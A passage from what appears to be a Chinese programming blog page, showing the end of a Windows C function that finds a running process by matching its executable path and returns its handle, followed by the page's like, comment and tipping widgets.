								if(lstrcmpi(Path+lstrlen(Path)-lstrlen(ProcessToFind),ProcessToFind) == 0)
									return hProc;
							} else {
								if(lstrcmpi(Path,ProcessToFind) == 0)
									return hProc;
							}
					CloseHandle(hProc);
				}
	}
	return NULL;
}

  
                
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值